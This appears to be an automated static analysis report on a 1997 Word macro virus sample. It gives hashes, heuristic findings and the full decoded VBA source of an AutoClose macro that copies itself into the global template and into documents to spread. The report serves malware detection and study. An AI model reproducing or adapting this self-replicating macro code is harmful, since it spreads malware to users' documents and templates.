Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ce8a4381905f964…

MALICIOUS

Office (OLE)

27.0 KB Created: 1997-03-23 12:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c250a19078fc74090ad869c38d9c5bcc SHA-1: 32282ebda81aa7bb33186593c60ec3ab4d2ef245 SHA-256: 7ce8a4381905f9647363b0ddcae19857dfa52b272679290a47f204832d5bae60
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as a legacy WordBasic macro virus, specifically a 'RSN MACRO VIRUS Goat file' created in 1997. The Auto_Close macro is present, indicating an attempt to execute malicious code upon document closure. The VBA code includes logic for copying the AutoClose macro to global templates, suggesting a self-replication or propagation mechanism.

Heuristics 3

  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 982 bytes
SHA-256: 6be4a148c9ef25b105a0a4860c01f7d039ec1cf7b31b2ae3a50652b077005ba2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim total
Dim present
Dim cycle
Dim a$
total = WordBasic.CountMacros(0)
present = 0

If total > 0 Then
    For cycle = 1 To total
        If WordBasic.[MacroName$](cycle, 0) = "AutoClose" Then
            present = 1
        End If
'End If

a$ = WordBasic.[WindowName$]() + ":AutoClose"

If present <> 1 Then
    WordBasic.MacroCopy a$, "Global:AutoClose"
Else
    present = 0
    If WordBasic.CountMacros(1) <> 0 Then
        present = 1
    End If

    If present = 0 Then
        WordBasic.FileSaveAs Format:=1
        WordBasic.MacroCopy "Global:AutoClose", a$
    End If
End If

WordBasic.FileSave

Next
End If
End Sub